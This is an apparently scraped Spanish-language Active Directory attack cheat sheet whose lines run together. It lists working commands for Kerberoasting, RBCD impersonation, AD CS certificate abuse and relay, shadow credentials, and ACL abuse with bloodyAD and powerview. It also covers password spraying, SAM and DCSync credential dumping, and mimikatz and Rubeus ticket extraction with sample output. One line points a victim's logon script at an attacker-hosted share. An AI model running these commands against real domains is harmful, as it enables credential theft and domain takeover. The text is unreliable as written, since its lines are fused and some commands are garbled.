# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=god*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=computer)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=computer)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info# Kerberoasting Attack con credenciales válidas y autenticación NTLM
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -request 2>/dev/null
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user:'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación Kerberos
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting sin credenciales de dominio pero con un usuario AS-REP Roast, necesario disponer de lista de usuarios en 'users.txt'
impacket-GetUserSPNs -no-preauth 'usuario-asrep' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.161 2>/dev/null# Obtención de TGT a través de contraseña básica
impacket-getTGT dominio.htb/user:'password' -dc-ip 10.10.10.10
# Obtención de TGT a través de Hash NTLM
impacket-getTGT dominio.htb/user -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
# Obtención de TGT a través de Autenticación Kerberos
impacket-getTGT dominio.htb/user -k -no-pass -dc-ip 10.10.10.10# RBCD a través de autenticación NTLM
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd':'password' 2>/dev/null
# RBCD a través de PassTheHash
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -hashes :<NTLM_HASH> 2>/dev/null
# RBCD a través de Autenticación Kerberos
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -k -no-pass 2>/dev/nullsudo ntpdate -s 10.10.10.10Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdoutcertipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.keypython3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htbcertipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htbcertipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn usercertipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htbKRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htbcertipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htbcertipy-ad auth -pfx administrator.pfx -domain domain.htb# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htbcertipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administratorcertipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcpcertipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htbcertipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htbcertipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>certipy-ad relay -target <adcs_ip> -template <machine_template>coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -vcertipy-ad auth -pfx machine_account.pfximpacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> AdministratorKRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administratorcertipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx administrator.pfx -domain dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administratorcertipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx administrator.pfx -domain dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shelladd_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainControllerpython3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainControllercertipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb
...[SNIP]...
distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'gzzcoo.crt'import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def format_serial_le(serial_int):
hex_serial = format(serial_int, 'x').zfill(2)
if len(hex_serial) % 2 != 0:
hex_serial = '0' + hex_serial
bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
return ''.join(reversed(bytes_pairs))
def parse_issuer(cert):
oid_map = {
'commonName': 'CN',
'countryName': 'C',
'organizationName': 'O',
'organizationalUnitName': 'OU',
'stateOrProvinceName': 'ST',
'localityName': 'L',
'domainComponent': 'DC'
}
issuer = cert.issuer
issuer_parts = []
for attribute in issuer:
oid = attribute.oid._name
key = oid_map.get(oid, oid)
value = attribute.value
issuer_parts.append(f"{key}={value}")
return ",".join(issuer_parts)
def get_cert_info(path):
with open(path, 'rb') as f:
data = f.read()
if path.endswith('.pfx'):
private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
else:
cert = x509.load_pem_x509_certificate(data, backend=default_backend())
serial_le = format_serial_le(cert.serial_number)
issuer = parse_issuer(cert)
print(f"X509:<I>{issuer}<SR>{serial_le}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Uso: python3 x509.py file.pfx|file.crt")
sys.exit(1)
get_cert_info(sys.argv[1])❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdoutCertificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
...
Request Disposition : Issue
...
Disabled Extensions : 1.3.6.1.4.1.311.25.2
...
Permissions
Access Rights
...
Enroll : CORP.LOCAL\Authenticated Users
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' readcertipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' updatecertipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'export KRB5CCNAME=$(pwd)/victim.ccachecertipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' updatecertipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'sudo apt install libkrb5-dev
pip3 install powerview --break-system-packagespowerview dominio.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10powerview dominio.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10powerview dominio.htb/user@dc.dominio.htb --dc-ip 10.10.10.10 -ns dc.dominio.htb -k --no-passpowerview dominio.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET'Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048'Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'Get-GMSAInvoke-KerberoastSet-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!'Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!'Add-DomainDNSRecord -RecordName '<dns_record_target>' -RecordAddress <ATTACKER_IP>C:\Temp>systeminfo
systeminfo
Host Name: GRANNY
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtimebloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPasswordbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTHbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLEbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add shadowCredentials 'target'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dnsRecord <dns_record_target> <ATTACKER_IP>bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@dominio.htb'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<I><.........>'# Fuerza bruta para enumerar usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt# Password spraying sobre una contraseña contra un listado de usuarios
kerbrute passwordspray -d dominio.htb --dc dc.dominio.htb users.txt 'password'
# Brute Force con un listado de usuarios y contraseñas. Listado en formato --> usuario:password
kerbrute bruteforce -d dominio.htb --dc dc.dominio.htb userspasswords.txt
# Brute Force sobre un usuario con un listado de contraseñas
kerbrute bruteuser -d dominio.htb --dc dc.dominio.htb passwords.txt 'user_target'
reg save HKLM\SAM C:\Windows\temp\SAM
reg save HKLM\SYSTEM C:\Windows\temp\SYSTEMsamdump2 SYSTEM SAM
pypykatz registry --sam SAM SYSTEM 2>/dev/nullnxc smb 10.99.99.10 -u 'usuer' -p 'Password01!' --sammisc::cmd.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exitc:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 329278 (00000000:0005063e)
Session : Network from 0
User Name : DC01$
Domain : HTB
Logon Server : (null)
Logon Time : 7/12/2022 9:39:55 AM
SID : S-1-5-18
* Username : DC01$
* Domain : inlanefreight.htb
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
[00000000]
Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
Target Name (--) : @ inlanefreight.htb
Client Name (01) : DC01$ ; @ inlanefreight.htb
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...]
* Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !
Group 2 - Ticket Granting Ticket
<SNIP>
mimikatz # exit
Bye!
c:\tools> dir *.kirbi
Directory: c:\tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
<SNIP>
-a---- 7/12/2022 9:44 AM 1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a---- 7/12/2022 9:44 AM 1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi
<SNIP>.\Rubeus.exe dump /nowrapc:\tools> Rubeus.exe dump /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Action: Dump Kerberos Ticket Data (All Users)
[*] Current LUID : 0x6c680
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : DC01$
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:39:54 AM
EndTime : 7/12/2022 7:39:54 PM
RenewTill : 7/19/2022 9:39:54 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
Base64EncodedTicket :
doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggOvMIIDq6ADAgESoQMCAQKiggOdBIIDmUE/AWlM6VlpGv+Gfvn6bHXrpRjRbsgcw9beSqS2ihO+FY/2Rr0g0iHowOYOgn7EBV3JYEDTNZS2ErKNLVOh0/TczLexQk+bKTMh55oNNQDVzmarvzByKYC0XRTjb1jPuVz4exraxGEBTgJYUunCy/R5agIa6xuuGUvXL+6AbHLvMb+ObdU7Dyn9eXruBscIBX5k3D3S5sNuEnm1sHVsGuDBAN5Ko6kZQRTx22A+lZZD12ymv9rh8S41z0+pfINdXx/VQAxYRL5QKdjbndchgpJro4mdzuEiu8wYOxbpJdzMANSSQiep+wOTUMgimcHCCCrhXdyR7VQoRjjdmTrKbPVGltBOAWQOrFs6YK1OdxBles1GEibRnaoT9qwEmXOa4ICzhjHgph36TQIwoRC+zjPMZl9lf+qtpuOQK86aG7Uwv7eyxwSa1/H0mi5B+un2xKaRmj/mZHXPdT7B5Ruwct93F2zQQ1mKIH0qLZO1Zv/G0IrycXxoE5MxMLERhbPl4Vx1XZGJk2a3m8BmsSZJt/++rw7YE/vmQiW6FZBO/2uzMgPJK9xI8kaJvTOmfJQwVlJslsjY2RAVGly1B0Y80UjeN8iVmKCk3Jvz4QUCLK2zZPWKCn+qMTtvXBqx80VH1hyS8FwU3oh90IqNS1VFbDjZdEQpBGCE/mrbQ2E/rGDKyGvIZfCo7t+kuaCivnY8TTPFszVMKTDSZ2WhFtO2fipId+shPjk3RLI89BT4+TDzGYKU2ipkXm5cEUnNis4znYVjGSIKhtrHltnBO3d1pw402xVJ5lbT+yJpzcEc5N7xBkymYLHAbM9DnDpJ963RN/0FcZDusDdorHA1DxNUCHQgvK17iametKsz6Vgw0zVySsPp/wZ/tssglp5UU6in1Bq91hA2c35l8M1oGkCqiQrfY8x3GNpMPixwBdd2OU1xwn/gaon2fpWEPFzKgDRtKe1FfTjoEySGr38QSs1+JkVk0HTRUbx9Nnq6w3W+D1p+FSCRZyCF/H1ahT9o0IRkFiOj0Cud5wyyEDom08wOmgwxK0D/0aisBTRzmZrSfG7Kjm9/yNmLB5va1yD3IyFiMreZZ2WRpNyK0G6L4H7NBZPcxIgE/Cxx/KduYTPnBDvwb6uUDMcZR83lVAQ5NyHHaHUOjoWsawHraI4uYgmCqXYN7yYmJPKNDI290GMbn1zIPSSL82V3hRbOO8CZNP/f64haRlR63GJBGaOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oCswKaADAgESoSIEIClgTKTOAY3p4054sB9McPBYb2xUn/kgVWSSXFoFCot8oQkbB0hUQi5DT02iEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIyMDcxMjEzMzk1NFqmERgPMjAyMjA3MTIyMzM5NTRapxEYDzIwMjIwNzE5MTMzOTU0WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdIVEIuQ09N
UserName : plaintext
Domain : HTB
LogonId : 0x6c680
UserSID : S-1-5-21-228825152-3134732153-3833540767-1107
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 7/12/2022 9:42:15 AM
LogonServer : DC01
LogonServerDNSDomain : inlanefreight.htb
UserPrincipalName : plaintext@inlanefreight.htb
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:42:15 AM
EndTime : 7/12/2022 7:42:15 PM
RenewTill : 7/19/2022 9:42:15 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=
Base64EncodedTicket :
